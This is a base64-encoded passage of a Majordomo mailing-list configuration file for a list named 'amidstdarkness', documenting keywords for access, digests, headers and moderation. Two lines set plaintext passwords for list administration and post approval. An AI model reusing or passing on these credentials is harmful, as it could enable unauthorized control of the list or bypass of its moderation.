ZyBhbmQgdHJhaWxpbmcgd2hpdGVzcGFjZQ0KIwl3b3JkIC0tIGFueSB0ZXh0 IHdpdGggbm8gZW1iZWRkZWQgd2hpdGVzcGFjZQ0KIw0KIyBBIGJsYW5rIHZh bHVlIGlzIGFsc28gYWNjZXB0ZWQsIGFuZCB3aWxsIHVuZGVmaW5lIHRoZSBj b3JyZXNwb25kaW5nIGtleXdvcmQuDQojIFRoZSBjaGFyYWN0ZXIgQ29udHJv bC1BIG1heSBub3QgYmUgdXNlZCBpbiB0aGUgZmlsZS4NCiMNCiMgQSB0cmFp bGluZyBfYXJyYXkgb24gYW55IG9mIHRoZSBhYm92ZSB0eXBlcyBtZWFucyB0 aGF0IHRoYXQga2V5d29yZA0KIyB3aWxsIGFsbG93IG1vcmUgdGhhbiBvbmUg dmFsdWUuDQojDQojIFdpdGhpbiBhIGhlcmUgZG9jdW1lbnQgZm9yIGEgc3Ry aW5nX2FycmF5LCB0aGUgJy0nIHNpZ24gdGFrZXMgb24gYSBzcGVjaWFsDQoj IHNpZ25pZmljYW5jZS4NCiMNCiMgICAgIFRvIGVtYmVkIGEgYmxhbmsgbGlu ZSBpbiB0aGUgaGVyZSBkb2N1bWVudCwgcHV0IGEgJy0nIGFzIHRoZSBmaXJz dA0KIyAgICAgICBhbmQgT05MWSBjaGFyYWN0ZXIgb24gdGhlIGxpbmUuDQoj DQojICAgICBUbyBwcmVzZXJ2ZSB3aGl0ZXNwYWNlIGF0IHRoZSBiZWdpbm5p bmcgb2YgYSBsaW5lLCBwdXQgYSAtIG9uIHRoZQ0KIyAgICAgICBsaW5lIGJl Zm9yZSB0aGUgd2hpdGVzcGFjZSB0byBiZSBwcmVzZXJ2ZWQNCiMNCiMgICAg IFRvIHB1dCBhIGxpdGVyYWwgJy0nIGF0IHRoZSBiZWdpbm5pbmcgb2YgYSBs aW5lLCBkb3VibGUgaXQuDQojDQojDQojIFRoZSBkZWZhdWx0IGlmIHRoZSBr ZXl3b3JkIGlzIG5vdCBzdXBwbGllZCBpcyBnaXZlbiBpbiAoKSdzIHdoaWxl IHRoZSANCiMgdHlwZSBvZiB2YWx1ZSBpcyBnaXZlbiBpbiBbXSwgdGhlIHN1 YnN5c3RlbSB0aGUga2V5d29yZCBpcyB1c2VkIGluIGlzDQojIGxpc3RlZCBp biA8PidzLiAodW5kZWYpIGFzIGRlZmF1bHQgdmFsdWUgbWVhbnMgdGhhdCB0 aGUga2V5d29yZCBpcyBub3QNCiMgZGVmaW5lZCBvciB1c2VkLg0KDQoJIyBh ZG1pbl9wYXNzd2QgICAgICAgICBbd29yZF0gKGFtaWRzdGRhcmtuZXNzLmFk bWluKSA8bWFqb3Jkb21vPg0KCSMgVGhlIHBhc3N3b3JkIGZvciBoYW5kbGlu ZyBhZG1pbmlzdHJhdGl2ZSB0YXNrcyBvbiB0aGUgbGlzdC4NCmFkbWluX3Bh c3N3ZCAgICAgICAgPSAgIGFtaWRzdGRhcmtuZXNzLmFkbWluDQoNCgkjIGFk bWluaXN0cml2aWEgICAgICAgIFtib29sXSAoeWVzKSA8cmVzZW5kPg0KCSMg TG9vayBmb3IgYWRtaW5pc3RyYXRpdmUgcmVxdWVzdHMgKGUuZy4gc3Vic2Ny aWJlL3Vuc3Vic2NyaWJlKSBhbmQNCgkjIGZvcndhcmQgdGhlbSB0byB0aGUg bGlzdCBtYWludGFpbmVyIGluc3RlYWQgb2YgdGhlIGxpc3QuDQphZG1pbmlz dHJpdmlhICAgICAgID0gICB5ZXMNCg0KCSMgYWR2ZXJ0aXNlICAgICAgICAg ICAgW3JlZ2V4cF9hcnJheV0gKHVuZGVmKSA8bWFqb3Jkb21vPg0KCSMgSWYg dGhlIHJlcXVlc3RvciBlbWFpbCBhZGRyZXNzIG1hdGNoZXMgb25lIG9mIHRo ZXNlIHJlZ2V4cHMsIHRoZW4NCgkjIHRoZSBsaXN0IHdpbGwgYmUgbGlzdGVk IGluIHRoZSBvdXRwdXQgb2YgYSBsaXN0cyBjb21tYW5kLiBGYWlsdXJlDQoJ IyB0byBtYXRjaCBhbnkgcmVnZXhwIGV4Y2x1ZGVzIHRoZSBsaXN0IGZyb20g dGhlIG91dHB1dC4gVGhlDQoJIyByZWdleHBzIHVuZGVyIG5vYWR2ZXJ0aXNl IG92ZXJyaWRlIHRoZXNlIHJlZ2V4cHMuDQphZHZlcnRpc2UgICAgICAgICAg IDw8ICBFTkQNCg0KRU5EDQoNCgkjIGFubm91bmNlbWVudHMgICAgICAgIFti b29sXSAoeWVzKSA8bWFqb3Jkb21vPg0KCSMgSWYgc2V0IHRvIHllcywgY29t aW5ncyBhbmQgZ29pbmdzIHRvIHRoZSBsaXN0IHdpbGwgYmUgc2VudCB0byB0 aGUNCgkjIGxpc3Qgb3duZXIuIFRoZXNlIFNVQlNDUklCRS9VTlNVQlNDUklC RSBldmVudCBhbm5vdW5jZW1lbnRzIGFyZQ0KCSMgaW5mb3JtYXRpb25hbCBv bmx5IChubyBhY3Rpb24gaXMgcmVxdWlyZWQpLCBhbHRob3VnaCBpdCBpcyBo aWdobHkNCgkjIHJlY29tbWVuZGVkIHRoYXQgdGhleSBiZSBtb25pdG9yZWQg dG8gd2F0Y2ggZm9yIGxpc3QgYWJ1c2UuDQphbm5vdW5jZW1lbnRzICAgICAg ID0gICB5ZXMNCg0KCSMgYXBwcm92ZV9wYXNzd2QgICAgICAgW3dvcmRdIChh bWlkc3RkYXJrbmVzcy5wYXNzKSA8cmVzZW5kPg0KCSMgUGFzc3dvcmQgdG8g YmUgdXNlZCBpbiB0aGUgYXBwcm92ZWQgaGVhZGVyIHRvIGFsbG93IHBvc3Rp bmcgdG8NCgkjIG1vZGVyYXRlZCBsaXN0LCBvciB0byBieXBhc3MgcmVzZW5k IGNoZWNrcy4NCmFwcHJvdmVfcGFzc3dkICAgICAgPSAgIGFtaWRzdGRhcmtu ZXNzLnBhc3MNCg0KCSMgYXJjaGl2ZV9kaXIgICAgICAgICAgW2Fic29sdXRl X2Rpcl0gKHVuZGVmKSA8bWFqb3Jkb21vPg0KCSMgVGhlIGRpcmVjdG9yeSB3 aGVyZSB0aGUgbWFpbGluZyBsaXN0IGFyY2hpdmUgaXMga2VwdC4gVGhpcyBp dGVtDQoJIyBkb2VzIG5vdCBjdXJyZW50bHkgd29yay4gTGVhdmUgaXQgYmxh bmsuDQphcmNoaXZlX2RpciAgICAgICAgID0NCg0KCSMgY29tbWVudHMgICAg ICAgICAgICAgW3N0cmluZ19hcnJheV0gKHVuZGVmKSA8Y29uZmlnPg0KCSMg Q29tbWVudCBzdHJpbmcgdGhhdCB3aWxsIGJlIHJldGFpbmVkIGFjcm9zcyBj b25maWcgZmlsZSByZXdyaXRlcy4NCmNvbW1lbnRzICAgICAgICAgICAgPDwg IEVORA0KDQpFTkQNCg0KCSMgZGF0ZV9pbmZvICAgICAgICAgICAgW2Jvb2xd ICh5ZXMpIDxtYWpvcmRvbW8+DQoJIyBQdXQgdGhlIGxhc3QgdXBkYXRlZCBk YXRlIGZvciB0aGUgaW5mbyBmaWxlIGF0IHRoZSB0b3Agb2YgdGhlDQoJIyBp bmZvIGZpbGUgcmF0aGVyIHRoYW4gaGF2aW5nIGl0IGFwcGVuZGVkIHdpdGgg YW4gaW5mbyBjb21tYW5kLg0KCSMgVGhpcyBpcyB1c2VmdWwgaWYgdGhlIGZp bGUgaXMgYmVpbmcgbG9va2VkIGF0IGJ5IHNvbWUgbWVhbnMgb3RoZXINCgkj IHRoYW4gbWFqb3Jkb21vIChlLmcuIGZpbmdlcikuDQpkYXRlX2luZm8gICAg ICAgICAgID0gICB5ZXMNCg0KCSMgZGF0ZV9pbnRybyAgICAgICAgICAgW2Jv b2xdICh5ZXMpIDxtYWpvcmRvbW8+DQoJIyBQdXQgdGhlIGxhc3QgdXBkYXRl ZCBkYXRlIGZvciB0aGUgaW50cm8gZmlsZSBhdCB0aGUgdG9wIG9mIHRoZQ0K CSMgaW50cm8gZmlsZSByYXRoZXIgdGhhbiBoYXZpbmcgaXQgYXBwZW5kZWQg d2l0aCBhbiBpbnRybyBjb21tYW5kLg0KCSMgVGhpcyBpcyB1c2VmdWwgaWYg dGhlIGZpbGUgaXMgYmVpbmcgbG9va2VkIGF0IGJ5IHNvbWUgbWVhbnMgb3Ro ZXINCgkjIHRoYW4gbWFqb3Jkb21vIChlLmcuIGZpbmdlcikuDQpkYXRlX2lu dHJvICAgICAgICAgID0gICB5ZXMNCg0KCSMgZGVidWcgICAgICAgICAgICAg ICAgW2Jvb2xdIChubykgPHJlc2VuZD4NCgkjIERvbid0IGFjdHVhbGx5IGZv cndhcmQgbWVzc2FnZSwganVzdCBnbyB0aG91Z2ggdGhlIG1vdGlvbnMuDQpk ZWJ1ZyAgICAgICAgICAgICAgID0gICBubw0KDQoJIyBkZXNjcmlwdGlvbiAg ICAgICAgICBbc3RyaW5nXSAodW5kZWYpIDxtYWpvcmRvbW8+DQoJIyBVc2Vk IGFzIGRlc2NyaXB0aW9uIGZvciBtYWlsaW5nIGxpc3Qgd2hlbiByZXBseWlu ZyB0byB0aGUgbGlzdHMNCgkjIGNvbW1hbmQuIFRoZXJlIGlzIG5vIHF1b3Rp bmcgbWVjaGFuaXNtLCBhbmQgdGhlcmUgaXMgb25seSByb29tDQoJIyBmb3Ig NTAgb3Igc28gY2hhcmFjdGVycy4NCmRlc2NyaXB0aW9uICAgICAgICAgPQ0K DQoJIyBkaWdlc3RfYXJjaGl2ZSAgICAgICBbYWJzb2x1dGVfZGlyXSAodW5k ZWYpIDxkaWdlc3Q+DQoJIyBUaGUgZGlyZWN0b3J5IHdoZXJlIHRoZSBkaWdl c3QgYXJjaGl2ZSBpcyBrZXB0LiBUaGlzIGl0ZW0gZG9lcw0KCSMgbm90IGN1 cnJlbnRseSB3b3JrLiBMZWF2ZSBpdCBibGFuay4NCmRpZ2VzdF9hcmNoaXZl ICAgICAgPQ0KDQoJIyBkaWdlc3RfaXNzdWUgICAgICAgICBbaW50ZWdlcl0g KDEpIDxkaWdlc3Q+DQoJIyBUaGUgaXNzdWUgbnVtYmVyIG9mIHRoZSBuZXh0 IGlzc3VlDQpkaWdlc3RfaXNzdWUgICAgICAgID0gICAxDQoNCgkjIGRpZ2Vz dF9tYXhkYXlzICAgICAgIFtpbnRlZ2VyXSAodW5kZWYpIDxkaWdlc3Q+DQoJ IyBhdXRvbWF0aWNhbGx5IGdlbmVyYXRlIGEgbmV3IGRpZ2VzdCB3aGVuIHRo ZSBhZ2Ugb2YgdGhlIG9sZGVzdA0KCSMgYXJ0aWNsZSBpbiB0aGUgcXVldWUg ZXhjZWVkcyB0aGlzIG51bWJlciBvZiBkYXlzLg0KZGlnZXN0X21heGRheXMg ICAgICA9DQoNCgkjIGRpZ2VzdF9tYXhsaW5lcyAgICAgIFtpbnRlZ2VyXSAo dW5kZWYpIDxkaWdlc3Q+DQoJIyBhdXRvbWF0aWNhbGx5IGdlbmVyYXRlIGEg bmV3IGRpZ2VzdCB3aGVuIHRoZSBzaXplIG9mIHRoZSBkaWdlc3QNCgkjIGV4 Y2VlZHMgdGhpcyBudW1iZXIgb2YgbGluZXMuDQpkaWdlc3RfbWF4bGluZXMg ICAgID0NCg0KCSMgZGlnZXN0X25hbWUgICAgICAgICAgW3N0cmluZ10gKGFt aWRzdGRhcmtuZXNzKSA8ZGlnZXN0Pg0KCSMgVGhlIHN1YmplY3QgbGluZSBm b3IgdGhlIGRpZ2VzdC4gVGhpcyBzdHJpbmcgaGFzIHRoZSB2b2x1bWUgIGFu ZA0KCSMgaXNzdWUgYXBwZW5kZWQgdG8gaXQuDQpkaWdlc3RfbmFtZSAgICAg ICAgID0gICBhbWlkc3RkYXJrbmVzcw0KDQoJIyBkaWdlc3Rfcm1fZm9vdGVy ICAgICBbd29yZF0gKHVuZGVmKSA8ZGlnZXN0Pg0KCSMgVGhlIHZhbHVlIGlz IHRoZSBuYW1lIG9mIHRoZSBsaXN0IHRoYXQgYXBwbGllcyB0aGUgaGVhZGVy IGFuZA0KCSMgZm9vdGVycyB0byB0aGUgbWVzc2FnZXMgdGhhdCBhcmUgcmVj ZWl2ZWQgYnkgZGlnZXN0LiBUaGlzIGFsbG93cw0KCSMgdGhlIGxpc3Qgc3Vw cGxpZWQgaGVhZGVycyBhbmQgZm9vdGVycyB0byBiZSBzdHJpcHBlZCBiZWZv cmUgdGhlDQoJIyBtZXNzYWdlcyBhcmUgaW5jbHVkZWQgaW4gdGhlIGRpZ2Vz dC4gVGhpcyBrZXl3b3JkIGlzIGN1cnJlbnRseQ0KCSMgbm9uIG9wZXJhdGl2 ZS4NCmRpZ2VzdF9ybV9mb290ZXIgICAgPQ0KDQoJIyBkaWdlc3Rfcm1fZnJv bnRlciAgICBbd29yZF0gKHVuZGVmKSA8ZGlnZXN0Pg0KCSMgV29ya3MganVz dCBsaWtlIGRpZ2VzdF9ybV9mb290ZXIsIGV4Y2VwdCBpdCByZW1vdmVzIHRo ZSBmcm9udA0KCSMgbWF0ZXJpYWwuIEp1c3QgbGlrZSBkaWdlc3Rfcm1fZm9v dGVyLCBpdCBpcyBhbHNvIG5vbi1vcGVyYXRpdmUuDQpkaWdlc3Rfcm1fZnJv bnRlciAgID0NCg0KCSMgZGlnZXN0X3ZvbHVtZSAgICAgICAgW2ludGVnZXJd ICgxKSA8ZGlnZXN0Pg0KCSMgVGhlIGN1cnJlbnQgdm9sdW1lIG51bWJlcg0K ZGlnZXN0X3ZvbHVtZSAgICAgICA9ICAgMQ0KDQoJIyBkaWdlc3Rfd29ya19k aXIgICAgICBbYWJzb2x1dGVfZGlyXSAodW5kZWYpIDxkaWdlc3Q+DQoJIyBU aGUgZGlyZWN0b3J5IHVzZWQgYXMgc2NyYXRjaCBzcGFjZSBmb3IgZGlnZXN0 LiBEb24ndCAgY2hhbmdlDQoJIyB0aGlzIHVubGVzcyB5b3Uga25vdyB3aGF0 IHlvdSBhcmUgZG9pbmcNCmRpZ2VzdF93b3JrX2RpciAgICAgPQ0KDQoJIyBn ZXRfYWNjZXNzICAgICAgICAgICBbZW51bV0gKGxpc3QpIDxtYWpvcmRvbW8+ IC9vcGVuO2Nsb3NlZDtsaXN0Lw0KCSMgT25lIG9mIHRocmVlIHZhbHVlczog b3BlbiwgbGlzdCwgY2xvc2VkLiBPcGVuIGFsbG93cyBhbnlvbmUNCgkjIGFj Y2VzcyB0byB0aGlzIGNvbW1hbmQgYW5kIGNsb3NlZCBjb21wbGV0ZWx5IGRp c2FibGVzIHRoZSBjb21tYW5kDQoJIyBmb3IgZXZlcnlvbmUuIExpc3QgYWxs b3dzIG9ubHkgbGlzdCBtZW1iZXJzIGFjY2Vzcywgb3IgaWYNCgkjIHJlc3Ry aWN0X3Bvc3QgaXMgZGVmaW5lZCwgb25seSB0aGUgYWRkcmVzc2VzIGluIHRo b3NlIGZpbGVzIGFyZQ0KCSMgYWxsb3dlZCBhY2Nlc3MuDQpnZXRfYWNjZXNz ICAgICAgICAgID0gICBsaXN0DQoNCgkjIGluZGV4X2FjY2VzcyAgICAgICAg IFtlbnVtXSAob3BlbikgPG1ham9yZG9tbz4gL29wZW47Y2xvc2VkO2xpc3Qv DQoJIyBPbmUgb2YgdGhyZWUgdmFsdWVzOiBvcGVuLCBsaXN0LCBjbG9zZWQu IE9wZW4gYWxsb3dzIGFueW9uZQ0KCSMgYWNjZXNzIHRvIHRoaXMgY29tbWFu ZCBhbmQgY2xvc2VkIGNvbXBsZXRlbHkgZGlzYWJsZXMgdGhlIGNvbW1hbmQN CgkjIGZvciBldmVyeW9uZS4gTGlzdCBhbGxvd3Mgb25seSBsaXN0IG1lbWJl cnMgYWNjZXNzLCBvciBpZg0KCSMgcmVzdHJpY3RfcG9zdCBpcyBkZWZpbmVk LCBvbmx5IHRoZSBhZGRyZXNzZXMgaW4gdGhvc2UgZmlsZXMgYXJlDQoJIyBh bGxvd2VkIGFjY2Vzcy4NCmluZGV4X2FjY2VzcyAgICAgICAgPSAgIG9wZW4N Cg0KCSMgaW5mb19hY2Nlc3MgICAgICAgICAgW2VudW1dIChvcGVuKSA8bWFq b3Jkb21vPiAvb3BlbjtjbG9zZWQ7bGlzdC8NCgkjIE9uZSBvZiB0aHJlZSB2 YWx1ZXM6IG9wZW4sIGxpc3QsIGNsb3NlZC4gT3BlbiBhbGxvd3MgYW55b25l DQoJIyBhY2Nlc3MgdG8gdGhpcyBjb21tYW5kIGFuZCBjbG9zZWQgY29tcGxl dGVseSBkaXNhYmxlcyB0aGUgY29tbWFuZA0KCSMgZm9yIGV2ZXJ5b25lLiBM aXN0IGFsbG93cyBvbmx5IGxpc3QgbWVtYmVycyBhY2Nlc3MsIG9yIGlmDQoJ IyByZXN0cmljdF9wb3N0IGlzIGRlZmluZWQsIG9ubHkgdGhlIGFkZHJlc3Nl cyBpbiB0aG9zZSBmaWxlcyBhcmUNCgkjIGFsbG93ZWQgYWNjZXNzLg0KaW5m b19hY2Nlc3MgICAgICAgICA9ICAgb3Blbg0KDQoJIyBpbnRyb19hY2Nlc3Mg ICAgICAgICBbZW51bV0gKGxpc3QpIDxtYWpvcmRvbW8+IC9vcGVuO2Nsb3Nl ZDtsaXN0Lw0KCSMgT25lIG9mIHRocmVlIHZhbHVlczogb3BlbiwgbGlzdCwg Y2xvc2VkLiBPcGVuIGFsbG93cyBhbnlvbmUNCgkjIGFjY2VzcyB0byB0aGlz IGNvbW1hbmQgYW5kIGNsb3NlZCBjb21wbGV0ZWx5IGRpc2FibGVzIHRoZSBj b21tYW5kDQoJIyBmb3IgZXZlcnlvbmUuIExpc3QgYWxsb3dzIG9ubHkgbGlz dCBtZW1iZXJzIGFjY2Vzcywgb3IgaWYNCgkjIHJlc3RyaWN0X3Bvc3QgaXMg ZGVmaW5lZCwgb25seSB0aGUgYWRkcmVzc2VzIGluIHRob3NlIGZpbGVzIGFy ZQ0KCSMgYWxsb3dlZCBhY2Nlc3MuDQppbnRyb19hY2Nlc3MgICAgICAgID0g ICBsaXN0DQoNCgkjIG1heGxlbmd0aCAgICAgICAgICAgIFtpbnRlZ2VyXSAo NDAwMDApIDxyZXNlbmQsZGlnZXN0Pg0KCSMgVGhlIG1heGltdW0gc2l6ZSBv ZiBhbiB1bmFwcHJvdmVkIG1lc3NhZ2UgaW4gY2hhcmFjdGVycy4gV2hlbg0K CSMgdXNlZCB3aXRoIGRpZ2VzdCwgYSBuZXcgZGlnZXN0IHdpbGwgYmUgYXV0 b21hdGljYWxseSBnZW5lcmF0ZWQgaWYNCgkjIHRoZSBzaXplIG9mIHRoZSBk aWdlc3QgZXhjZWVkcyB0aGlzIG51bWJlciBvZiBjaGFyYWN0ZXJzLg0KbWF4 bGVuZ3RoICAgICAgICAgICA9ICAgNDAwMDANCg0KCSMgbWVzc2FnZV9mb290 ZXIgICAgICAgW3N0cmluZ19hcnJheV0gKHVuZGVmKSA8cmVzZW5kLGRpZ2Vz dD4NCgkjIFRleHQgdG8gYmUgYXBwZW5kZWQgYXQgdGhlIGVuZCBvZiBhbGwg bWVzc2FnZXMgcG9zdGVkIHRvIHRoZQ0KCSMgbGlzdC4gVGhlIHRleHQgaXMg ZXhwYW5kZWQgYmVmb3JlIGJlaW5nIHVzZWQuIFRoZSBmb2xsb3dpbmcNCgkj IGV4cGFuc2lvbiB0b2tlbnMgYXJlIGRlZmluZWQ6ICRMSVNUIC0gdGhlIG5h bWUgb2YgdGhlIGN1cnJlbnQNCgkjIGxpc3QsICRTRU5ERVIgLSB0aGUgc2Vu ZGVyIGFzIHRha2VuIGZyb20gdGhlIGZyb20gbGluZSwgJFZFUlNJT04sDQoJ IyB0aGUgdmVyc2lvbiBvZiBtYWpvcmRvbW8uIElmIHVzZWQgaW4gYSBkaWdl c3QsIG5vIGV4cGFuc2lvbg0KCSMgdG9rZW5zIGFyZSBwcm92aWRlZA0KbWVz c2FnZV9mb290ZXIgICAgICA8PCAgRU5EDQoNCkVORA0KDQoJIyBtZXNzYWdl X2Zyb250ZXIgICAgICBbc3RyaW5nX2FycmF5XSAodW5kZWYpIDxyZXNlbmQs ZGlnZXN0Pg0KCSMgVGV4dCB0byBiZSBwcmVwZW5kZWQgdG8gdGhlIGJlZ2lu bmluZyBvZiBhbGwgbWVzc2FnZXMgcG9zdGVkIHRvDQoJIyB0aGUgbGlzdC4g VGhlIHRleHQgaXMgZXhwYW5kZWQgYmVmb3JlIGJlaW5nIHVzZWQuIFRoZSBm b2xsb3dpbmcNCgkjIGV4cGFuc2lvbiB0b2tlbnMgYXJlIGRlZmluZWQ6ICRM SVNUIC0gdGhlIG5hbWUgb2YgdGhlIGN1cnJlbnQNCgkjIGxpc3QsICRTRU5E RVIgLSB0aGUgc2VuZGVyIGFzIHRha2VuIGZyb20gdGhlIGZyb20gbGluZSwg JFZFUlNJT04sDQoJIyB0aGUgdmVyc2lvbiBvZiBtYWpvcmRvbW8uIElmIHVz ZWQgaW4gYSBkaWdlc3QsIG9ubHkgdGhlIGV4cGFuc2lvbg0KCSMgdG9rZW4g X1NVQkpFQ1RTXyBpcyBhdmFpbGFibGUsIGFuZCBpdCBleHBhbmRzIHRvIHRo ZSBsaXN0IG9mDQoJIyBtZXNzYWdlIHN1YmplY3RzIGluIHRoZSBkaWdlc3QN Cm1lc3NhZ2VfZnJvbnRlciAgICAgPDwgIEVORA0KDQpFTkQNCg0KCSMgbWVz c2FnZV9oZWFkZXJzICAgICAgW3N0cmluZ19hcnJheV0gKHVuZGVmKSA8cmVz ZW5kLGRpZ2VzdD4NCgkjIFRoZXNlIGhlYWRlcnMgd2lsbCBiZSBhcHBlbmRl ZCB0byB0aGUgaGVhZGVycyBvZiB0aGUgcG9zdGVkDQoJIyBtZXNzYWdlLiBU aGUgdGV4dCBpcyBleHBhbmRlZCBiZWZvcmUgYmVpbmcgdXNlZC4gVGhlIGZv bGxvd2luZw0KCSMgZXhwYW5zaW9uIHRva2VucyBhcmUgZGVmaW5lZDogJExJ U1QgLSB0aGUgbmFtZSBvZiB0aGUgY3VycmVudA0KCSMgbGlzdCwgJFNFTkRF UiAtIHRoZSBzZW5kZXIgYXMgdGFrZW4gZnJvbSB0aGUgZnJvbSBsaW5lLCAk VkVSU0lPTiwNCgkjIHRoZSB2ZXJzaW9uIG9mIG1ham9yZG9tby4NCm1lc3Nh Z2VfaGVhZGVycyAgICAgPDwgIEVORA0KDQpFTkQNCg0KCSMgbW9kZXJhdGUg ICAgICAgICAgICAgW2Jvb2xdIChubykgPHJlc2VuZD4NCgkjIElmIHllcywg YWxsIHBvc3RpbmdzIHRvIHRoZSBsaXN0ICBtdXN0IGJlIGFwcHJvdmVkIGJ5 IHRoZQ0KCSMgbW9kZXJhdG9yLg0KbW9kZXJhdGUgICAgICAgICAgICA9ICAg bm8NCg0KCSMgbW9kZXJhdG9yICAgICAgICAgICAgW3dvcmRdICh1bmRlZikg PHJlc2VuZD4NCgkjIFNlbmQgYm91bmNlcyB0byBtb2RlcmF0b3IgaW5zdGVh ZCBvZiBvd25lci08bGlzdG5hbWU+DQptb2RlcmF0b3IgICAgICAgICAgID0N Cg0KCSMgbXVuZ2Vkb21haW4gICAgICAgICAgW2Jvb2xdIChubykgPG1ham9y ZG9tbz4NCgkjIElmIHNldCB0byB5ZXMsIGEgZGlmZmVyZW50IG1ldGhvZCBp cyB1c2VkIHRvIGRldGVybWluZSBhIG1hdGNoaW5nDQoJIyBhZGRyZXNzLiAg V2hlbiBzZXQgdG8geWVzLCBhZGRyZXNzZXMgb2YgdGhlIGZvcm0gdXNlckBk b20uYWluLmNvbQ0KCSMgYXJlIGNvbnNpZGVyZWQgZXF1aXZhbGVudCB0byBh ZGRyZXNzZXMgb2YgdGhlIGZvcm0gdXNlckBhaW4uY29tLg0KCSMgVGhpcyBh bGxvd3MgYSB1c2VyIHRvIHN1YnNjcmliZSB0byBhIGxpc3QgdXNpbmcgdGhl IGRvbWFpbg0KCSMgYWRkcmVzcyByYXRoZXIgdGhhbiB0aGUgYWRkcmVzcyBh c3NpZ25lZCB0byBhIHBhcnRpY3VsYXIgbWFjaGluZQ0KCSMgaW4gdGhlIGRv bWFpbi4gVGhpcyBrZXl3b3JkIGFmZmVjdHMgdGhlIGludGVycHJldGF0aW9u IG9mDQoJIyBhZGRyZXNzZXMgZm9yIHN1YnNjcmliZSwgdW5zdWJzY3JpYmUs IGFuZCBhbGwgcHJpdmF0ZSBvcHRpb25zLg0KbXVuZ2Vkb21haW4gICAgICAg ICA9ICAgbm8NCg0KCSMgbm9hZHZlcnRpc2UgICAgICAgICAgW3JlZ2V4cF9h cnJheV0gKHVuZGVmKSA8bWFqb3Jkb21vPg0KCSMgSWYgdGhlIHJlcXVlc3Rv ciBuYW1lIG1hdGNoZXMgb25lIG9mIHRoZXNlIHJlZ2V4cHMsIHRoZW4gdGhl IGxpc3QNCgkjIHdpbGwgbm90IGJlIGxpc3RlZCBpbiB0aGUgb3V0cHV0IG9m IGEgbGlzdHMgY29tbWFuZC4gTm9hZHZlcnRpc2UNCgkjIG92ZXJyaWRlcyBh ZHZlcnRpc2UuDQpub2FkdmVydGlzZSAgICAgICAgIDw8ICBFTkQNCg0KRU5E DQoNCgkjIHByZWNlZGVuY2UgICAgICAgICAgIFt3b3JkXSAoYnVsaykgPHJl c2VuZCxkaWdlc3Q+DQoJIyBQdXQgYSBwcmVjZWRlbmNlIGhlYWRlciB3aXRo IHZhbHVlIDx2YWx1ZT4gaW50byB0aGUgb3V0Z29pbmcNCgkjIG1lc3NhZ2Uu DQpwcmVjZWRlbmNlICAgICAgICAgID0gICBidWxrDQoNCgkjIHB1cmdlX3Jl Y2VpdmVkICAgICAgIFtib29sXSAobm8pIDxyZXNlbmQ+DQoJIyBSZW1vdmUg YWxsIHJlY2VpdmVkIGxpbmVzIGJlZm9yZSByZXNlbmRpbmcgdGhlIG1lc3Nh Z2UuDQpwdXJnZV9yZWNlaXZlZCAgICAgID0gICBubw0KDQoJIyByZXBseV90 byAgICAgICAgICAgICBbd29yZF0gKCkgPHJlc2VuZCxkaWdlc3Q+DQoJIyBQ dXQgYSByZXBseS10byBoZWFkZXIgd2l0aCB2YWx1ZSA8dmFsdWU+IGludG8g dGhlIG91dGdvaW5nDQoJIyBtZXNzYWdlLiBJZiB0aGUgdG9rZW4gJFNFTkRF UiBpcyB1c2VkLCB0aGVuIHRoZSBhZGRyZXNzIG9mIHRoZQ0KCSMgc2VuZGVy IGlzIHVzZWQgYXMgdGhlIHZhbHVlIG9mIHRoZSByZXBseS10byBoZWFkZXIu IFRoaXMgaXMgdGhlDQoJIyB2YWx1ZSBvZiB0aGUgcmVwbHktdG8gaGVhZGVy IGZvciBkaWdlc3QgbGlzdHMuDQpyZXBseV90byAgICAgICAgICAgID0NCg0K CSMgcmVzZW5kX2hvc3QgICAgICAgICAgW3dvcmRdICh1bmRlZikgPHJlc2Vu ZD4NCgkjIFRoZSBob3N0IG5hbWUgdGhhdCBpcyBhcHBlbmRlZCB0byBhbGwg YWRkcmVzcyBzdHJpbmdzIHNwZWNpZmllZA0KCSMgZm9yIHJlc2VuZC4NCnJl c2VuZF9ob3N0ICAgICAgICAgPQ0KDQoJIyByZXN0cmljdF9wb3N0ICAgICAg ICBbcmVzdHJpY3RfcG9zdF0gKHVuZGVmKSA8cmVzZW5kPg0KCSMgSWYgZGVm aW5lZCwgb25seSBhZGRyZXNzZXMgbGlzdGVkIGluIHRoZXNlIGZpbGVzIChj b2xvbiBvciBzcGFjZQ0KCSMgc2VwYXJhdGVkKSBjYW4gcG9zdCB0byB0aGUg bWFpbGluZyBsaXN0LiBCeSBkZWZhdWx0LCB0aGVzZSBmaWxlcw0KCSMgYXJl IHJlbGF0aXZlIHRvIHRoZSBsaXN0cyBkaXJlY3RvcnkuIFRoZXNlIGZpbGVz IGFyZSBhbHNvIGNoZWNrZWQNCgkjIHdoZW4gZ2V0X2FjY2VzcywgaW5kZXhf YWNjZXNzLCBpbmZvX2FjY2VzcywgaW50cm9fYWNjZXNzLA0KCSMgd2hpY2hf YWNjZXNzLCBvciB3aG9fYWNjZXNzIGlzIHNldCB0byAnbGlzdCcuIFRoaXMg aXMgbGVzcyB1c2VmdWwNCgkjIHRoYW4gaXQgc2VlbXMgaXQgc2hvdWxkIGJl IHNpbmNlIHRoZXJlIGlzIG5vIHdheSB0byBjcmVhdGUgdGhlc2UNCgkjIGZp bGVzIGlmIHlvdSBkbyBub3QgaGF2ZSBhY2Nlc3MgdG8gdGhlIG1hY2hpbmUg cnVubmluZyByZXNlbmQuDQoJIyBUaGlzIG1lY2hhbmlzbSB3aWxsIGJlIHJl cGxhY2VkIGluIGEgZnV0dXJlIHZlcnNpb24gb2YNCgkjIG1ham9yZG9tby9y ZXNlbmQuDQpyZXN0cmljdF9wb3N0ICAgICAgID0NCg0KCSMgc2VuZGVyICAg ICAgICAgICAgICAgW3dvcmRdIChvd25lci1hbWlkc3RkYXJrbmVzcykgPG1h am9yZG9tbyxyZXNlbg0KCSMgVGhlIGVudmVsb3BlIGFuZCBzZW5kZXIgYWRk cmVzcyBmb3IgdGhlIHJlc2VudCBtYWlsLiBUaGlzIHN0cmluZw0KCSMgaGFz ICJAIiBhbmQgdGhlIHZhbHVlIG9mIHJlc2VuZF9ob3N0IGFwcGVuZGVkIHRv IGl0IHRvIG1ha2UgYQ0KCSMgY29tcGxldGUgYWRkcmVzcy4gRm9yIG1ham9y ZG9tbywgaXQgcHJvdmlkZXMgdGhlIHNlbmRlciBhZGRyZXNzDQoJIyBmb3Ig dGhlIHdlbGNvbWUgbWFpbCBtZXNzYWdlIGdlbmVyYXRlZCBhcyBwYXJ0IG9m 